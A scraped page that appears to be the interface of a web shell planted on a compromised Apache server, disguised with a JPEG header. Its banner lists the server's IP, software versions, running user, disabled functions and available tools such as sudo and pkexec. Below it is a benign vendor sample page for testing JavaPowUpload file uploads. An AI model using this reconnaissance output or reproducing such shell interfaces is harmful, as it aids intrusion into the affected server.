????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.59.50.189 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/productionzon/JavaPowUpload/ |
Upload File : |
<!-- saved from url=(0014)about:internet --> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Form based and JavaPowUpload based uploading to test file processing script.</title> <link rel="stylesheet" href="styles.css"> </head> <body> Sample: <b>uploadtest.html</b> <a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16"> Refresh frame</a> <a target="_parent" href="index.htm"><img border="0" src="images/home.png" width="16" height="16"> Examples home</a><br/><br/> <!-- text below wil be shown if JavaScript disabled at browser --> <span id="noscriptdiv" style="border:1px solid #FF0000;display:block;padding:5px;text-align:left; background: #FDF2F2;color:#000;">Active Scripting (JavaScript) should be enabled in your browser for this application to function properly!</span> <script type="text/javascript"> document.getElementById('noscriptdiv').style.visibility = 'hidden'; document.getElementById('noscriptdiv').style.height = 0; document.getElementById('noscriptdiv').style.padding = 0; document.getElementById('noscriptdiv').style.border = 0; </script> Example shows classical Form based uploading and another with the help of JavaPowUpload. The example allows you to check whether the server script that accepts files works correct. <br><br> To run this sample make the following steps: <ul> <li>Select upload processing script URL in the drop-down menu or enter a new value</li> <li>In the Form below select small file to upload (size less than 1 KB). </li> <li>If the upload works successfully (server doesn’t send error messages) try to upload a large file (greater than 30 MB).</li> <li>If upload doesn’t work correctly, try to fix the problems. See Troubleshooting section in Help. <li>After successful tests with Form based upload, try to upload the files using JavaPowUpload. </ul> <br> <script language="JavaScript"> function mysubmit(type) { if(document.getElementById("uploadscript").value=='') { window.alert('Enter upload processing script file name!'); return false; } if(type=='java') { var JavaPowUpload = document.getElementById("JavaPowUpload"); JavaPowUpload.setParam("Upload.UploadUrl",document.getElementById("uploadscript").value); JavaPowUpload.startUpload(); } else { var FormObj = document.getElementById("myform"); FormObj.action = document.getElementById("uploadscript").value; return true; } } </script> <br> <table width="800" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="212"><strong>Upload processing script file: </strong></td> <td valign="top"> <select name="targetUrl" size="1" onChange="javascript: document.getElementById('uploadscript').value=this.value;"> <option value="FileProcessingScripts/ASP/ClearASP/uploadfiles.asp">ASP</option> <option selected value="FileProcessingScripts/PHP/uploadfiles.php">PHP</option> <option value="FileProcessingScripts/ASP.NET/CSharp/uploadfiles.aspx">ASP.NET C#</option> <option value="FileProcessingScripts/ASP.NET/VBNET/uploadfiles.aspx">ASP.NET VB</option> <option value="FileProcessingScripts/PERL/uploadfiles.pl">Perl</option> <option value="FileProcessingScripts/ColdFusion/uploadfiles.cfm">Cold Fusion</option> <option value="FileProcessingScripts/JSP/uploadfiles.jsp">JSP</option> </select> </td> <td width="588"><input size="70" name="uploadscript" id="uploadscript" type="text" value="FileProcessingScripts/PHP/uploadfiles.php" /></td> </tr> </table> <br> <strong><font size="4">Form based upload (Classic):</font></strong> <table width="650" border="1" cellpadding="5" cellspacing="0" bordercolor="#999999"> <tr> <td><form id="myform" onSubmit="return mysubmit();" enctype="multipart/form-data" action="FileProcessingScripts/PHP/uploadfiles.php" method="POST"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="100">Select file:</td> <td width="294"><input name="FileBody_0" type="file" /></td> </tr> </table><br> <input type="submit" value="Upload" /> </form></td> </tr> </table> <br> <strong><font size="4">JavaPowUpload:</font></strong><br> <br> <!--lib/JavaPowUpload.jar - main jar file, should always be included Optional jar files: lib/skinlf.jar - for themes support lib/commons-compress.jar - compression before upload lib/commons-httpclient.jar - http upload functionality lib/commons-net-ftp.jar - FTP protocol support --> <applet code="com.elementit.JavaPowUpload.Manager" archive="lib/commons-httpclient.jar, lib/JavaPowUpload.jar" width="450" height="300" name="JavaPowUpload" id="JavaPowUpload" mayscript="true" alt="JavaPowUpload by www.element-it.com" VIEWASTEXT> <param name="progressbar" value="true"> <param name="boxmessage" value="Loading JavaPowUpload Applet ..."> <param name="Common.SerialNumber" value="put your serial number here"> <!--Enable upload mode --> <param name="Common.UploadMode" value="true"> <!--Enable JavaPowUpload events and functions to use in JavaScript --> <param name="Common.UseLiveConnect" value="true"> <param name="Common.ProgressArea.DownloadButton.Visible" value="false"> <param name="Upload.UploadUrl" value="FileProcessingScripts/PHP/uploadfiles.php"> <!--Set url to file processing script --> <param name="Upload.HttpUpload.MaxFilesCountPerRequest" value="1"> <!-- This text will be shown if applet not working or Java not installed--> <span style="border:1px solid #FF0000;display:block;padding:5px;margin-top:10px;margin-bottom:10px;text-align:left; background: #FDF2F2;color:#000;">You should <b>enable applets</b> running at browser and to have the <b>Java</b> (JRE) version >= 1.5.<br />If applet is not displaying properly, please check <a target="_blank" href="http://java.com/en/download/help/testvm.xml" title="Check Java applets">additional configurations</a></span> </applet> <br> <input onClick="mysubmit('java');" type="button" value="Upload" /> </td> </tr> </table> <br /> The file uploader doesn’t work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpJavaPowUpload/Troubleshooting.html">here</a> what you need for its proper work. <br/> <a href="index.htm"><<Return to the samples list</a> </body>